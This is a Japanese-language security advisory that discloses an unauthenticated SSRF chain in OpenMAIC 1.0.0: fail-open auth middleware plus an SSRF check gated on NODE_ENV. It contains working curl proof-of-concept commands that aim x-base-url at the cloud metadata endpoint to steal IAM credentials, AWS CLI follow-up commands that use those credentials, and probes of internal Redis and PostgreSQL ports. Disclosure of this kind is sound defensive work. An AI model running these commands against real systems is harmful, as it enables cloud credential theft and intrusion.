
OpenMAIC 1.0.0: Fail-Openミドルウェアと環境ゲート付き検証バイパスによる、クラウドメタデータサービスへの未認証アウトバウンドSSRF
検証済み。OpenMAICの認証ミドルウェアとアウトバウンドプロバイダーリクエスト層には、2段階のエクスプロイトチェーンが存在し、未認証のリモート攻撃者が一切の認証情報を持たずに、アプリケーションサーバーに任意のアウトバウンドHTTPリクエスト(169.254.169.254のクラウドInstance Metadata Service(IMDS)へのリクエストを含む)を発行させることができます。
第1段階: middleware.tsのNext.js Edgeミドルウェアは、ACCESS_CODE環境変数が存在しない場合にfail-openの姿勢を実装しています。デフォルトの.env.example設定ではACCESS_CODEが未設定であり、これは70のAPIルートすべてがグローバルに未認証であり、任意の外部クライアントから到達可能であることを意味します。
第2段階: 5つの異なるAPIルートハンドラーにわたり、クライアントが提供するプロバイダーのベースURL(x-base-urlまたはbaseUrlリクエストパラメータ経由)は、process.env.NODE_ENV === 'production'の場合にのみを通過します。、、、または未設定の環境では、SSRFガードは完全にスキップされ、アプリケーションは攻撃者が制御するURLに対してアウトバウンドを発行します。
validateUrlForSSRF()developmentstagingpreviewfetch()これらを連鎖させると、未認証の攻撃者が任意の生成エンドポイントにx-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/を指定し、サーバーがクラウドIAMロールの認証情報を取得してレスポンスで返します。事前のアカウント、トークン、ローカルでの足がかりは一切不要です。
ミドルウェアはすべてのAPIルートに対する唯一の認証ゲートです。ACCESS_CODEが設定されていない場合(.env.exampleによるデフォルト状態)、すべてのルートへのすべてのリクエストが即座に通過します。フォールバック機構も、警告の発行も、代替の認証チェックもありません。fail-openは無条件かつサイレントです。これにより、生成、永続化、メディアプロキシ、抽出、AI実行ルートを含む70のAPIエンドポイントが、任意の未認証呼び出し元に公開されます。
lib/server/ssrf-guard.tsのvalidateUrlForSSRF関数は、ALLOW_LOCAL_NETWORKSを介して環境固有の例外をすでに正しく処理しています。各ルートハンドラーにおけるNODE_ENVゲートは、開発モードの便宜としては完全に冗長ですが、セキュリティ境界としては壊滅的です。これは、NODE_ENVが明示的に'production'に設定されていないstaging、preview、CI/CD、セルフホスト型デプロイメント全体でSSRF検証をグローバルに無効化します。
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
-d '{"prompt": "test", "model": "dall-e-3"}'
期待されるレスポンス(IMDSパススルー):
ec2-instance-role
curl -s -X POST "https://target.openmaic.example.com/api/generate/image" \
-H "Content-Type: application/json" \
-H "x-base-url: http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-instance-role" \
-d '{"prompt": "test", "model": "dall-e-3"}'
期待されるレスポンス:
{
"Code": "Success",
"Type": "AWS-HMAC",
"AccessKeyId": "ASIAXXXXXXXXXXXXXXXXXXX",
"SecretAccessKey": "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",
"Token": "IQoJb3JpZ2luX2VjEA...",
"Expiration": "2026-09-02T00:30:00Z"
}
export AWS_ACCESS_KEY_ID="ASIAXXXXXXXXXXXXXXXXXXX"
export AWS_SECRET_ACCESS_KEY="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"
export AWS_SESSION_TOKEN="IQoJb3JpZ2luX2VjEA..."
aws sts get-caller-identity
aws s3 ls
aws iam list-attached-role-policies --role-name ec2-instance-role
# デフォルトポートのRedis - RESPプロトコルレスポンスがAPIエラーで返される
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:6379/" \
-d '{"prompt":"INFO"}'
# デフォルトポートのPostgreSQL
curl -s -X POST "https://target.example.com/api/generate/image" \
-H "x-base-url: http://127.0.0.1:5432/" \
-d '{"prompt":"test"}'
| フェーズ | ステップ | 効果 |
|---|---|---|
| 1. 未認証の侵入 | リモートクライアントがCookieやトークンなしで/api/generate/imageにHTTPリクエストを送信 | middleware.tsが!process.env.ACCESS_CODEを評価し、NextResponse.next()を呼び出す |
| 2. ヘッダーの取り込み | 攻撃者がヘッダーでターゲットの内部アドレスを指定: x-base-url: http://169.254.169.254/... | ルートハンドラーがリクエストヘッダーからclientBaseUrlを抽出 |
| 3. SSRFバイパス | サーバー環境がNODE_ENV !== 'production'(例: stagingまたはコンテナのデフォルト) | ハンドラーがprocess.env.NODE_ENV === 'production'をfalseと評価し、validateUrlForSSRF()をスキップ |
| 4. アウトバウンドリクエストのシンク | サービスが攻撃者提供のベースURLで初期化され、リクエストを実行 | サーバーがhttp://169.254.169.254/に対してアウトバウンドfetch()を実行 |
| 5. メタデータの窃取 | クラウドインスタンスメタデータサービスがメタデータまたはIAMセキュリティ認証情報で応答 | サーバーがHTTPレスポンスボディをAPIの戻りペイロードまたはエラーメッセージに組み込む |
| 6. クラウドへのピボット | 攻撃者が一時的なAWS/GCP/Azureセキュリティ認証情報を抽出 | 攻撃者がクラウド認証情報を外部で使用し、クラウドリソースとデータストアにアクセス |
前提条件:
ACCESS_CODE未設定の環境にデプロイされている(デフォルト設定)。NODE_ENVが厳密に'production'に設定されていない(例: staging、dev、セルフホスト、または設定ミスのコンテナ)。悪意のあるペイロードをデプロイせずに到達可能性を確認し、セキュリティ防御を検証するには:
process.env.ACCESS_CODEがundefinedの場合、middleware.tsはNextResponse.next()を返します。認証ヘッダーなしで任意の保護されたエンドポイント(例: POST /api/generate/image)にHTTPリクエストを送信すると、401 Access Code Requiredの拒否ではなく、エンドポイントレベルのレスポンス(例: プロバイダー設定に対する400/401)が返されます。NODE_ENV="staging"またはNODE_ENV="development"の場合、validateUrlForSSRFが呼び出されるかどうかを検査します。if (clientBaseUrl && process.env.NODE_ENV === 'production')のため、実行は検証ブロックを飛び越え、指定されたベースURLへのネットワーク接続を試みます。NODE_ENV='development'を設定し、ループバックURL http://127.0.0.1:9999を指定するモックサーバーまたはテストランナーは、リクエストがINVALID_URL(403)で拒否されるか、ネットワークトランスポートへ進むことを許可されるかを検証します。未パッチ状態では、リクエストはソケット接続を試みます。パッチ適用状態では、HTTP 403で即座に拒否されます。